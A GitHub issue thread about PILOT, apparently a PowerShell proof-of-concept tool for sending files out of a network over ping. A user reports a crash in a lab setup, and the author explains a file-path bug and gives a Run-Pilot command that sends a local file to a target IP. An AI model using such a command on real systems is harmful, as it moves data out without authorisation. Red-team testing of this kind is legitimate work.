dahvidschloss / PILOT

Ping-based Information Lookup and Outbound Transfer
66 stars 5 forks source link

Powershell crashes after script exceution #1

Closed RandonDude closed 3 months ago

RandonDude commented 3 months ago

Hi David For testing i setup a kali and windows server in the same network. When i try to execute your script like so: Run-Pilot -targetIP 192.168.1.80 -filePath .\test.txt

It just closes the powershell window. Any ideas?

dahvidschloss commented 3 months ago

So I didn't write any error handling into the POC, so the script will just crash without handling the error properly. Likely what is occuring is that the line "[System.IO.File]::OpenRead($FilePath)" doesn't concatenate the CWD into the variable $FilePath. So what happening is it's not able to find the file and failing ungracefully. You can confirm that this is happening by opening PowerShell and then opening a second instance of PowerShell from within that current context so it will fail out to the prior context of PowerShell as seen in the screenshot below.

TSPILOT

Easy enough finding to fix. I'll get an update into the script today thank you.

in the mean time please run PILOT as such

Run-Pilot -targetIP 192.168.1.80 -filePath "c:\Path\To\test.text"

dahvidschloss commented 3 months ago

Resolve and updated. Thanks for letting me know PILOTRESO